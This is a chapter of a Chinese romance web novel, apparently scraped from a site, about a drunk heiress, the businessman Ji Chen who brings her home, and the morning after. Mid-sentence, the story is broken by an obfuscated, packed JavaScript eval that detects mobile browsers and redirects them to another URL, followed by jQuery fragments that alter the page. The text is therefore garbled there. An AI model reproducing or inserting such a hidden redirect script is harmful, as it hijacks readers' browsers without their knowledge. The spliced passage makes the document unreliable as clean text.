被扇了一个结结实实的巴掌,季琛微微偏头,眉眼低垂,眸子里卷着深不可测的漩涡,锋利的下颌线在窗外清冷的月色照耀下透着凉意。
仿佛下一秒他会做任何一件比这更可怕的事。
握着林听晚手腕的手收紧,他用力一拽,把人带进来。
“放开我!我不结婚!”
“我!不!结!”
林听晚被自己绊了一跤,差点跪在地上。醉醺醺的,又哭又闹,胡言乱语,卯足劲儿试图挣开他的掌控。拳打脚踢,抓着他的外套扯来扯去。
季琛没听她哭闹,不打算和一个小醉鬼讲道理。他直接脱了外套,随手一扔,单手扣住她的两只手腕,把人摁在床上。
大掌压着她纤细的手腕,反扣在头顶。血管攀附在手背,一路蜿蜒,压迫感从掌心蔓延,将她禁锢而无处可逃。
林听晚抬脚踹他。
季琛握住她的脚踝,把人往下拽了下,膝盖抵住她的大腿。
不管她如何使出浑身解数,在绝对力量面前,依然无济于事。
碰撞间气息缠绕,雪松味道包裹着她,似山崖的松树抖了抖落雪。他居高临下,微微俯身,仿佛凝视猎物的野兽。
抬手扯掉领带,他将她两只手腕绑住。
林听晚总算是消停点了,他才收回膝盖,站在床边,扯住被子随意地往上一掀,蒙住她的脑袋。
房间里没有开灯,月色混着外面的街灯照进来,越过窗台,堪堪止步在床沿。
季琛的衬衫扣子开了一颗,微喘着气,胸口起伏,身体里的蓬勃几度撑破薄薄的布料。
光影映照在他的脸上,他脸上的神情难以分辨。
她折腾完,睡死过去,留下他一个清醒的人,乱成一团。
阴暗昏沉的房间里,他站在她的床边,无端滋生出一股禁忌感。
毕竟此时此刻的她,是和别人有婚约的、别人即将过门的妻子。
这些概念措辞如同沙漠里的风,灌进他的喉咙,他只尝到干涩。
垂眼看着床上的人,他眸子里的深邃愈发的沉。
像是火车错轨,无法回头地迎着暴风雪,轰隆隆地穿过洞穴、隧道,再越过山脉。
他跳动的心脏在替他做一些不那么正确的决定。
林听晚躺在床上,似睡非睡。因为要见不想见的人,她今天没有化妆,双颊因为醉意,染上酡色。长卷发乌黑浓密,柔顺地散在肩侧。似有些不安,纤长的睫毛轻轻颤动。
季琛伸手,解开绑在她手腕的领带,顺手把被子拉到她的下巴,掖了掖,指关节刮蹭一下她的脸颊。
她眉间轻蹙,微张唇,呢喃:“季琛……”
手指猛地顿住,季琛僵在那,看她的眼神变得复杂起来。
“王八蛋。”
季琛:“……”
仿佛这个人才是她风暴中心的梦魇,在梦里骂完,纾解了这一口气。林听晚眉间舒展开,翻了个身。
滑腻温软从指间溜走,旖旎消散,季琛默然,收回手。
他弯腰捡起地上的外套,走出她的卧室。
.
林听晚清楚自己的酒量,能把握尺度,也很难醉酒。昨晚是她太放纵,情绪失控,没能收住。
宿醉的后遗症是头疼,大脑迟钝,一分钟有五十九秒在死机。
双手撑着床沿,她呆坐在床边,长发凌乱,素净的脸上覆着一层精疲力竭的倦意。浑身筋骨像被打碎重组了一样,又酸又疼。
她发了很久的呆,才穿好拖鞋去洗漱。
喉咙干涩,刚才刷牙的时候差点呕出来,林听晚打着哈欠下楼,趿拉着拖鞋去厨房。
路过客厅,穿过餐厅,站在岛台前,手碰到水壶,她突然停下。
像画面卡顿,几秒后,进度条往后拉,她一路退回去。
“你怎么在这里?”
震惊地看着坐在沙发上的人,林听晚的脑子里炸开一朵云。
男人气定神闲地坐在那儿,只穿着件衬衫,袖口挽到手肘,交叠的胳膊抵在胸前,从容自如。
吓得林听晚立马环顾了一圈。
这宅子姓林不姓季吧?她不会喝多了跑到他家骚扰他吧?
……这种事她可能真的干得出来。
“你昨晚喝醉了,林管家不在庆岭,有事赶不回来。”季琛没有看她,拿着平板,低眸处理工作。
所以是他送她回来的?然后怕她一个人出什么事所以守了一夜?
林听晚歪头,盯着他仔细打量,试图看出什么。但他只留给他一个宽阔的后背和薄凉的侧脸,无果,她什么也看不出来。
季琛的手机响起来,她下意识移开视线,转身去厨房倒水喝。
等她咕噜咕噜喝完一杯水,端着第二杯水从厨房出来的时候,季琛拎着早饭走到餐桌前,印着绿色港式复古文字的纸袋里,拿出来的都是她喜欢吃的早茶。
按照惯例来说,他应该在昨晚把她扔回林宅之后就离开这里,不留下任何痕迹。而不是像现在这样,不仅留宿在这里,还让总助买了早餐。
昨晚发生了什么,让他的态度转变成这样。
林听晚完全不记得,她没有像这样喝醉过,更没有断片的经验,曾经出于好奇问过朋友,得到的大多数是社死的答案。
断片的过程很新奇,断片的结果让人很想死。就像开盲盒。
林听晚喜欢开盲盒,喜欢一切未知带给她的新鲜感和乐趣——但绝非这种盲盒。
拉开椅子坐下,她小声如嗫喏道了声谢。一边吃早饭,一边惴惴不安。
难道……
她亲他了?扒他衣服了?还是睡……
被自己这个大胆的想法吓到,她猝不及防吸到一口凉气,打了个嗝。
接着一抽一抽的,停不下来。胸口和脖颈一块儿难受,她连忙捧起杯子大口大口喝热水。
季琛听见动静,瞧她已经拿起杯子喝水,终究是不动声色地坐在她的对面。
他浏览着部门经理呈上来的项目策划案,偶尔剑眉轻拧,眉宇间顿时散开一股独属于冬日的凛冽。
全然不知对面的小姑娘心思百转千回,已经快在脑子里写好一本离谱又狗血的霸总小说。
林听晚深知自己不是一个乖小孩,笃定醉酒后只会比清醒的时候更疯,眼巴巴地看着对面的人。
挺好奇的,她到底做了什么。
“有话要说?”季琛放下手里的平板,抬眼,精准地捕捉到她的视线。
撞上男人的眼睛,林听晚有种被抓包的感觉,但她没有躲,坦然地回视。
“你不吃早饭吗?”
——老天,她怎么问了一个如此无关紧要的问题。
林听晚从没对自己这么无语过。
季琛说:“吃过了。”
“哦,好吧。”林听晚脸颊鼓鼓的,一直嚼嚼嚼。心想吃过了怎么还坐在这里,是等她吃完有话要说吗?该不会这顿饭是她的断头饭吧。
想到这,她吃饭的动作都慢了不少。
有意无意地瞄他几眼,又盯着他看了半天,她才意识到她觉得不对劲的地方是哪里,“你脸怎么了?”
他左半边脸有一些浅浅的痕迹,像是什么东西印上去的,印记若隐若现,怪怪的。
等到了想听的话,季琛合上平板,不疾不徐地抬眼:“林小姐抡得起酒瓶,也扇得了巴掌,厉害。”
口吻冷淡,似笑非笑,听起来只让人觉得毛骨悚然。
“……”林听晚眨眨眼睛,茫然了好一会儿,嘴里也不嚼嚼嚼了,抬手,指着自己,不可思议,“我干的?”
季琛没吭声,平静地看着她。眼神像是在说,不然呢?
林听晚放下肠粉,擦擦嘴角,飞快道歉:“对不起。”
说着端起咖啡杯,心虚地推到他面前,“我这杯咖啡给你喝。”
她太知道自己什么德行了,他也完全没有骗她的必要。这道诡异斑驳的浅淡印记,看样子是真的出自她的手。
抿唇,抬眸,她眼巴巴地看着他,嘴角也瘪了下去。
动作小心翼翼,态度带着几分讨好,张扬跋扈的性子在这一刻收敛了不少。脑袋上胡乱扎着丸子头,翘出来几根毛,透着乱糟糟的随性,模样乖巧。
一看就是很会在长辈面前卖乖的小孩儿,随便几个表情几句话就能把长辈哄得开心,过年永远拿最大的红包。
都说伸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459135|169669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手不打笑脸人,她这幅样子,谁都很难对她说任何一句重话。
季琛把咖啡给她放回去:“晚饭有约吗?”
不知道他突然问这个干什么,林听晚实话实说:“没有。”
“我约你。”季琛说,“五点,我来接你。”
“嗯?”林听晚没懂他什么意思。
季琛起身,慢条斯理地整理着衬衫,把袖口放下来,扣好扣子。手指微屈,指骨在桌面上轻轻敲了敲:“我们聊聊。”
林听晚盯着他往外走的背影,咬住下唇,捉摸不透他的态度,脑子里又开始胡思乱想。
该不会是她昨晚还做了什么大逆不道的事,他要先礼后兵把她给了结了吧?
算了,反正要死,吃饱点再上路。
双手捧着杯子喝了两口咖啡,浓郁的香气充斥在她的口腔,整个人顿时神清气爽,酸度适中,苦度偏高,是她喜欢的口味。
她捏着杯子来回看了一圈,没有找到咖啡的标签贴。
谁家的咖啡啊,还挺好喝的。
季琛走出林宅,江总助已经在那辆迈巴赫旁边等着了。他拎着黑色大衣,把钥匙扔给他:“你开,我睡会儿。”
江总助接住钥匙,替季琛拉开车门。
坐进后座,季琛把大衣放在一边,瞥到副驾,说:“下午去给副驾车门里侧装一个防撞泡沫。”
江总助刚关上主驾车门要系安全带,听见这话,下意识看了眼副驾车门。防撞泡沫?好端端的,装什么防撞泡沫?
“好的季总。”
他不理解,但他执行。
.
季琛走之后,林听晚一点也没有浪费他的好意,把早餐处理得干干净净,全进了她的肚子,咖啡一滴都没有剩下。
收拾好桌面垃圾,她打算上楼睡一个回笼觉,屈炀的电话打了过来。
“祖宗,酒醒了?”屈炀问。
林听晚正好有事要问他,敷衍应了一声,反客为主:“我昨天在你的酒吧喝多了之后发生了什么?”
很努力地去回想了,也尝试了用网上五花八门的奇怪方式把那段记忆找回来,根本没有用。丢失的记忆和她的脸面一起,被扔在了星期六酒吧那个装着长岛冰茶的玻璃杯里。
屈炀顿时拔高音量:“我还想问你呢!你和季琛什么情况啊?昨晚是他来接你的。哦对,你给他的备注还是什么……狗男人?三哥,狗男人?!”
季琛是他好友的亲哥,尽管一年到头见不到几次面,但他对这位哥是有些崇拜滤镜的,毕竟他的人生履历精彩的很。
不是刻板印象里那种继承人,在成为季氏的继承人之前,季琛也是混迹在花花世界和名利场赫赫有名的大少爷。
人很狂,不服管,性子野。
虽然都是传言,他没见过,但这位哥的气质摆在那里,实在是难以忽视。所以有人以讹传讹,有人敬而远之,也有人趋之若鹜。
在他看来,林听晚和季琛完全是两种人,两个世界、两个圈子、两条平行线,彼此间不会有任何交集。
林听晚抬手揉了揉额角,宿醉的感觉没有完全散去,她还是有点头疼:“大老板,知道我在你的酒吧抡了岳辰,不知道抡完之后带我走的人是季琛?你的消息也没有那么灵通嘛。唉——你昨晚给我喝的不会是假酒吧?我头怎么这么疼。”
“自己有毛病别怪酒不行。”屈炀说,“我那些酒可贵了,你昨天喝了大几千怎么说?我这业绩一天到晚就是你搞垮的。带你走的人是季琛?这我还真没听说,可能你拿酒瓶抡人的卓越风姿更精彩一点吧。”
上楼钻进衣帽间,林听晚打开墙边镶嵌的灯带。
她一年多没有回来,林宅之前也不是她经常居住的地方,这里的衣服不算多。她穿梭在衣帽间,挑选晚上和季琛吃饭要穿的衣服。
“你在干嘛?怎么不说话。”屈炀问。
林听晚蹲在地上:“挑衣服。得罪了人,在想穿什么能让我看起来惨一点,让对方大发慈悲,结果发现我的衣服都太漂亮了。最重要的是我人漂亮得不行,嘴巴打了这么白的遮瑕都是一股病恹恹的破碎美,怎么办啊——”
屈炀:“……”
他真不该多嘴。